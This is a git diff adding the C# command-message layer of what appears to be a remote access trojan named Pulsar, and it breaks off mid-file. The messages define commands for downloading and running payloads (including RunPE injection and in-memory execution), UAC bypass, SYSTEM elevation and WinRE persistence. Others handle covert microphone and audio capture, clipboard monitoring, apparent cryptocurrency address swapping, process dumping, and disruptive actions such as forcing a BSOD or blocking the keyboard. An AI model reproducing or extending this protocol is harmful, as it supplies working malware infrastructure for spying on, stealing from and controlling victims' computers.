b/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItems.cs new file mode 100644 index 0000000..af4864d --- /dev/null +++ b/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItems.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.StartupManager +{ + [MessagePackObject] + public class GetStartupItems : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItemsResponse.cs b/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItemsResponse.cs new file mode 100644 index 0000000..b5f4dd1 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItemsResponse.cs @@ -0,0 +1,14 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Administration.StartupManager +{ + [MessagePackObject] + public class GetStartupItemsResponse : IMessage + { + [Key(1)] + public List StartupItems { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfo.cs b/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfo.cs new file mode 100644 index 0000000..accb876 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfo.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.SystemInfo +{ + [MessagePackObject] + public class GetSystemInfo : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfoResponse.cs b/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfoResponse.cs new file mode 100644 index 0000000..c0a901d --- /dev/null +++ b/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfoResponse.cs @@ -0,0 +1,14 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using System; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetSystemInfoResponse : IMessage + { + [Key(1)] + public List> SystemInfos { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TCPConnections/DoCloseConnection.cs b/Pulsar.Common/Messages/Administration/TCPConnections/DoCloseConnection.cs new file mode 100644 index 0000000..718a527 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TCPConnections/DoCloseConnection.cs @@ -0,0 +1,21 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TCPConnections +{ + [MessagePackObject] + public class DoCloseConnection : IMessage + { + [Key(1)] + public string LocalAddress { get; set; } + + [Key(2)] + public ushort LocalPort { get; set; } + + [Key(3)] + public string RemoteAddress { get; set; } + + [Key(4)] + public ushort RemotePort { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TCPConnections/GetConnections.cs b/Pulsar.Common/Messages/Administration/TCPConnections/GetConnections.cs new file mode 100644 index 0000000..79718b2 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TCPConnections/GetConnections.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TCPConnections +{ + [MessagePackObject] + public class GetConnections : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/TCPConnections/GetConnectionsResponse.cs b/Pulsar.Common/Messages/Administration/TCPConnections/GetConnectionsResponse.cs new file mode 100644 index 0000000..3f38526 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TCPConnections/GetConnectionsResponse.cs @@ -0,0 +1,13 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.TCPConnections +{ + [MessagePackObject] + public class GetConnectionsResponse : IMessage + { + [Key(1)] + public TcpConnection[] Connections { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDump.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDump.cs new file mode 100644 index 0000000..ebbcf7d --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDump.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessDump : IMessage + { + [Key(1)] + public int Pid { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDumpResponse.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDumpResponse.cs new file mode 100644 index 0000000..14945c6 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDumpResponse.cs @@ -0,0 +1,30 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessDumpResponse : IMessage + { + [Key(1)] + public bool Result { get; set; } + + [Key(2)] + public string DumpPath { get; set; } + + [Key(3)] + public long Length { get; set; } + + [Key(4)] + public int Pid { get; set; } + + [Key(5)] + public string ProcessName { get; set; } + + [Key(6)] + public string FailureReason { get; set; } + + [Key(7)] + public long UnixTime { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessEnd.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessEnd.cs new file mode 100644 index 0000000..b4d3b09 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessEnd.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessEnd : IMessage + { + [Key(1)] + public int Pid { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessResponse.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessResponse.cs new file mode 100644 index 0000000..6e64d0c --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessResponse.cs @@ -0,0 +1,16 @@ +using MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessResponse : IMessage + { + [Key(1)] + public ProcessAction Action { get; set; } + + [Key(2)] + public bool Result { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessStart.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessStart.cs new file mode 100644 index 0000000..ea92427 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessStart.cs @@ -0,0 +1,36 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessStart : IMessage + { + [Key(1)] + public string DownloadUrl { get; set; } + + [Key(2)] + public string FilePath { get; set; } + + [Key(3)] + public bool IsUpdate { get; set; } + + [Key(4)] + public bool ExecuteInMemoryDotNet { get; set; } + + [Key(5)] + public bool UseRunPE { get; set; } + + [Key(6)] + public string RunPETarget { get; set; } + + [Key(7)] + public string RunPECustomPath { get; set; } + + [Key(8)] + public byte[] FileBytes { get; set; } + + [Key(9)] + public string FileExtension { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoSetTopMost.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoSetTopMost.cs new file mode 100644 index 0000000..5745cf9 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoSetTopMost.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoSetTopMost : IMessage + { + [Key(1)] + public int Pid { get; set; } + + [Key(2)] + public bool Enable { get; set; } // true = make topmost, false = remove + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoSetWindowState.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoSetWindowState.cs new file mode 100644 index 0000000..afd0005 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoSetWindowState.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoSetWindowState : IMessage + { + [Key(1)] + public int Pid { get; set; } + + [Key(2)] + public bool Minimize { get; set; } // true = minimize, false = restore + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoSuspendProcess.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoSuspendProcess.cs new file mode 100644 index 0000000..5dde4ff --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoSuspendProcess.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +[MessagePackObject] +public class DoSuspendProcess : IMessage +{ + [Key(1)] + public int Pid { get; set; } + + [Key(2)] + public bool Suspend { get; set; } // true = suspend, false = resume +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/GetProcesses.cs b/Pulsar.Common/Messages/Administration/TaskManager/GetProcesses.cs new file mode 100644 index 0000000..afab1c6 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/GetProcesses.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class GetProcesses : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/GetProcessesResponse.cs b/Pulsar.Common/Messages/Administration/TaskManager/GetProcessesResponse.cs new file mode 100644 index 0000000..14a6c8e --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/GetProcessesResponse.cs @@ -0,0 +1,16 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class GetProcessesResponse : IMessage + { + [Key(1)] + public Process[] Processes { get; set; } + + [Key(2)] + public int? RatPid { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetMicrophone.cs b/Pulsar.Common/Messages/Audio/GetMicrophone.cs new file mode 100644 index 0000000..188a7db --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetMicrophone.cs @@ -0,0 +1,21 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetMicrophone : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int DeviceIndex { get; set; } + + [Key(3)] + public int Bitrate { get; set; } + + [Key(4)] + public bool Destroy { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetMicrophoneDevice.cs b/Pulsar.Common/Messages/Audio/GetMicrophoneDevice.cs new file mode 100644 index 0000000..b4859ea --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetMicrophoneDevice.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetMicrophoneDevice : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Audio/GetMicrophoneDeviceResponse.cs b/Pulsar.Common/Messages/Audio/GetMicrophoneDeviceResponse.cs new file mode 100644 index 0000000..0fed34a --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetMicrophoneDeviceResponse.cs @@ -0,0 +1,14 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using System; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetMicrophoneDeviceResponse : IMessage + { + [Key(1)] + public List> DeviceInfos { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetMicrophoneResponse.cs b/Pulsar.Common/Messages/Audio/GetMicrophoneResponse.cs new file mode 100644 index 0000000..2125c77 --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetMicrophoneResponse.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetMicrophoneResponse : IMessage + { + [Key(1)] + public byte[] Audio { get; set; } + + [Key(2)] + public int Device { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetOutput.cs b/Pulsar.Common/Messages/Audio/GetOutput.cs new file mode 100644 index 0000000..34a39a0 --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetOutput.cs @@ -0,0 +1,21 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetOutput : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int DeviceIndex { get; set; } + + [Key(3)] + public int Bitrate { get; set; } + + [Key(4)] + public bool Destroy { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetOutputDevice.cs b/Pulsar.Common/Messages/Audio/GetOutputDevice.cs new file mode 100644 index 0000000..0e82f1e --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetOutputDevice.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetOutputDevice : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Audio/GetOutputDeviceResponse.cs b/Pulsar.Common/Messages/Audio/GetOutputDeviceResponse.cs new file mode 100644 index 0000000..f5666d6 --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetOutputDeviceResponse.cs @@ -0,0 +1,14 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using System; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetOutputDeviceResponse : IMessage + { + [Key(1)] + public List> DeviceInfos { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetOutputResponse.cs b/Pulsar.Common/Messages/Audio/GetOutputResponse.cs new file mode 100644 index 0000000..42e0391 --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetOutputResponse.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetOutputResponse : IMessage + { + [Key(1)] + public byte[] Audio { get; set; } + + [Key(2)] + public int Device { get; set; } + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/DoClearTempDirectory.cs b/Pulsar.Common/Messages/ClientManagement/DoClearTempDirectory.cs new file mode 100644 index 0000000..47449a8 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/DoClearTempDirectory.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement +{ + [MessagePackObject] + public class DoClearTempDirectory : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/DoClientDisconnect.cs b/Pulsar.Common/Messages/ClientManagement/DoClientDisconnect.cs new file mode 100644 index 0000000..3c82693 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/DoClientDisconnect.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement +{ + [MessagePackObject] + public class DoClientDisconnect : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/DoClientReconnect.cs b/Pulsar.Common/Messages/ClientManagement/DoClientReconnect.cs new file mode 100644 index 0000000..fb04e30 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/DoClientReconnect.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoClientReconnect : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/DoClientUninstall.cs b/Pulsar.Common/Messages/ClientManagement/DoClientUninstall.cs new file mode 100644 index 0000000..ac1e8dd --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/DoClientUninstall.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement +{ + [MessagePackObject] + public class DoClientUninstall : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/UAC/DoAskElevate.cs b/Pulsar.Common/Messages/ClientManagement/UAC/DoAskElevate.cs new file mode 100644 index 0000000..e15d195 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/UAC/DoAskElevate.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.UAC +{ + [MessagePackObject] + public class DoAskElevate : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/UAC/DoDeElevate.cs b/Pulsar.Common/Messages/ClientManagement/UAC/DoDeElevate.cs new file mode 100644 index 0000000..dbc3caa --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/UAC/DoDeElevate.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.UAC +{ + [MessagePackObject] + public class DoDeElevate : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/UAC/DoElevateSystem.cs b/Pulsar.Common/Messages/ClientManagement/UAC/DoElevateSystem.cs new file mode 100644 index 0000000..0b98c58 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/UAC/DoElevateSystem.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement +{ + [MessagePackObject] + public class DoElevateSystem : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/UAC/DoUACBypass.cs b/Pulsar.Common/Messages/ClientManagement/UAC/DoUACBypass.cs new file mode 100644 index 0000000..a9a1b94 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/UAC/DoUACBypass.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.UAC +{ + [MessagePackObject] + public class DoUACBypass : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/WinRE/AddCustomFileWinRE.cs b/Pulsar.Common/Messages/ClientManagement/WinRE/AddCustomFileWinRE.cs new file mode 100644 index 0000000..0aafa33 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/WinRE/AddCustomFileWinRE.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.WinRE +{ + [MessagePackObject] + public class AddCustomFileWinRE : IMessage + { + [Key(1)] + public string Path { get; set; } = string.Empty; + + [Key(2)] + public string Arguments { get; set; } = string.Empty; + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/WinRE/DoAddWinREPersistence.cs b/Pulsar.Common/Messages/ClientManagement/WinRE/DoAddWinREPersistence.cs new file mode 100644 index 0000000..18a04fa --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/WinRE/DoAddWinREPersistence.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.WinRE +{ + [MessagePackObject] + public class DoAddWinREPersistence : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/WinRE/DoRemoveWinREPersistence.cs b/Pulsar.Common/Messages/ClientManagement/WinRE/DoRemoveWinREPersistence.cs new file mode 100644 index 0000000..aaabd0f --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/WinRE/DoRemoveWinREPersistence.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.WinRE +{ + [MessagePackObject] + public class DoRemoveWinREPersistence : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoBSOD.cs b/Pulsar.Common/Messages/FunStuff/DoBSOD.cs new file mode 100644 index 0000000..98eb4b5 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoBSOD.cs @@ -0,0 +1,15 @@ +using System; +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoBSOD : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} + diff --git a/Pulsar.Common/Messages/FunStuff/DoBlockKeyboardInput.cs b/Pulsar.Common/Messages/FunStuff/DoBlockKeyboardInput.cs new file mode 100644 index 0000000..f4c1887 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoBlockKeyboardInput.cs @@ -0,0 +1,19 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoBlockKeyboardInput : IMessage + { + [Key(0)] + public bool Block { get; set; } + + public DoBlockKeyboardInput() { } + + public DoBlockKeyboardInput(bool block) + { + Block = block; + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/FunStuff/DoChangeWallpaper.cs b/Pulsar.Common/Messages/FunStuff/DoChangeWallpaper.cs new file mode 100644 index 0000000..2152570 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoChangeWallpaper.cs @@ -0,0 +1,22 @@ +using System; +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoChangeWallpaper : IMessage + { + [Key(1)] + public string Message { get; set; } + + [Key(2)] + public byte[] ImageData { get; set; } + + [Key(3)] + public string ImageFormat { get; set; } + } +} + + diff --git a/Pulsar.Common/Messages/FunStuff/DoHideTaskbar.cs b/Pulsar.Common/Messages/FunStuff/DoHideTaskbar.cs new file mode 100644 index 0000000..e96dfad --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoHideTaskbar.cs @@ -0,0 +1,13 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoHideTaskbar : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoMonitorsOff.cs b/Pulsar.Common/Messages/FunStuff/DoMonitorsOff.cs new file mode 100644 index 0000000..716da31 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoMonitorsOff.cs @@ -0,0 +1,24 @@ +using System; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoMonitorsOff : IMessage + { + [Key(0)] + public bool Off { get; set; } + + [Key(1)] + public bool On { get; set; } + + public DoMonitorsOff() { } + + public DoMonitorsOff(bool off = false, bool on = false) + { + Off = off; + On = on; + } + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoMouseSwap.cs b/Pulsar.Common/Messages/FunStuff/DoMouseSwap.cs new file mode 100644 index 0000000..074720c --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoMouseSwap.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoSwapMouseButtons : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoOpenCloseCDTray.cs b/Pulsar.Common/Messages/FunStuff/DoOpenCloseCDTray.cs new file mode 100644 index 0000000..2825169 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoOpenCloseCDTray.cs @@ -0,0 +1,19 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoCDTray : IMessage + { + [Key(0)] + public bool Open { get; set; } + + public DoCDTray() { } + + public DoCDTray(bool open) + { + Open = open; + } + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoSendBinFile.cs b/Pulsar.Common/Messages/FunStuff/DoSendBinFile.cs new file mode 100644 index 0000000..35caf3d --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoSendBinFile.cs @@ -0,0 +1,23 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoSendBinFile : IMessage + { + [Key(0)] + public string FileName { get; set; } + + [Key(1)] + public byte[] Data { get; set; } + + public DoSendBinFile() { } + + public DoSendBinFile(string fileName, byte[] data) + { + FileName = fileName; + Data = data; + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/GetDebugLog.cs b/Pulsar.Common/Messages/GetDebugLog.cs new file mode 100644 index 0000000..b0ebd17 --- /dev/null +++ b/Pulsar.Common/Messages/GetDebugLog.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetDebugLog : IMessage + { + [Key(1)] + public string Log { get; set; } + } +} diff --git a/Pulsar.Common/Messages/MessageHandler.cs b/Pulsar.Common/Messages/MessageHandler.cs new file mode 100644 index 0000000..dcba868 --- /dev/null +++ b/Pulsar.Common/Messages/MessageHandler.cs @@ -0,0 +1,142 @@ +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Threading; + +namespace Pulsar.Common.Messages +{ + /// + /// Handles registrations of s and processing of s. + /// + public static class MessageHandler + { + /// + /// List of registered s. + /// + private static readonly List Processors = new List(); + + /// + /// Used in lock statements to synchronize access to between threads. + /// + private static readonly object SyncLock = new object(); + + /// + /// Registers a to the available . + /// + /// The to register. + public static void Register(IMessageProcessor proc) + { + lock (SyncLock) + { + if (Processors.Contains(proc)) return; + Processors.Add(proc); + } + } + + /// + /// Unregisters a from the available . + /// + /// + public static void Unregister(IMessageProcessor proc) + { + lock (SyncLock) + { + Processors.Remove(proc); + } + } + + /// + /// Forwards the received to the appropriate s to execute it. + /// + /// The sender of the message. + /// The received message. + /// When true, executes each handler on the thread pool to avoid blocking the caller. + public static void Process(ISender sender, IMessage msg, bool dispatchAsync = true) + { + if (msg == null) + { + return; + } + + IEnumerable availableProcessors; + lock (SyncLock) + { + // select appropriate message processors + availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList(); + // ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors + } + + foreach (var executor in availableProcessors) + { + if (dispatchAsync) + { + QueueProcessorExecution(executor, sender, msg); + } + else + { + ExecuteProcessorSafely(executor, sender, msg); + } + } + } + + private static void QueueProcessorExecution(IMessageProcessor processor, ISender sender, IMessage message) + { + var context = new MessageDispatchContext + { + Processor = processor, + Sender = sender, + Message = message + }; + + ThreadPool.UnsafeQueueUserWorkItem(DispatchCallback, context); + } + + private static void ExecuteProcessorSafely(IMessageProcessor processor, ISender sender, IMessage message) + { + try + { + processor.Execute(sender, message); + } + catch (Exception ex) + { + Debug.WriteLine($"[MessageHandler] Processor '{processor?.GetType().Name}' threw an exception: {ex}"); + } + } + + private static readonly WaitCallback DispatchCallback = state => + { + if (state is MessageDispatchContext context) + { + context.Invoke(); + } + }; + + private sealed class MessageDispatchContext + { + public IMessageProcessor Processor; + public ISender Sender; + public IMessage Message; + + public void Invoke() + { + try + { + Processor?.Execute(Sender, Message); + } + catch (Exception ex) + { + Debug.WriteLine($"[MessageHandler] Processor '{Processor?.GetType().Name}' threw an exception: {ex}"); + } + finally + { + Processor = null; + Sender = null; + Message = null; + } + } + } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/.DS_Store b/Pulsar.Common/Messages/Monitoring/.DS_Store new file mode 100644 index 0000000..cef19e6 Binary files /dev/null and b/Pulsar.Common/Messages/Monitoring/.DS_Store differ diff --git a/Pulsar.Common/Messages/Monitoring/Clipboard/DoGetAddress.cs b/Pulsar.Common/Messages/Monitoring/Clipboard/DoGetAddress.cs new file mode 100644 index 0000000..3c547bf --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Clipboard/DoGetAddress.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Clipboard +{ + [MessagePackObject] + public class DoGetAddress : IMessage + { + [Key(1)] + public string Type { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Clipboard/DoSendAddress.cs b/Pulsar.Common/Messages/Monitoring/Clipboard/DoSendAddress.cs new file mode 100644 index 0000000..4625d25 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Clipboard/DoSendAddress.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Clipboard +{ + [MessagePackObject] + public class DoSendAddress : IMessage + { + [Key(1)] + public string Address { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Clipboard/SendClipboardData.cs b/Pulsar.Common/Messages/Monitoring/Clipboard/SendClipboardData.cs new file mode 100644 index 0000000..cfbc11d --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Clipboard/SendClipboardData.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Clipboard +{ + [MessagePackObject] + public class SendClipboardData : IMessage + { + [Key(1)] + public string ClipboardText { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Clipboard/SetClipboardMonitoringEnabled.cs b/Pulsar.Common/Messages/Monitoring/Clipboard/SetClipboardMonitoringEnabled.cs new file mode 100644 index 0000000..65f3a6a --- /dev/null +++ 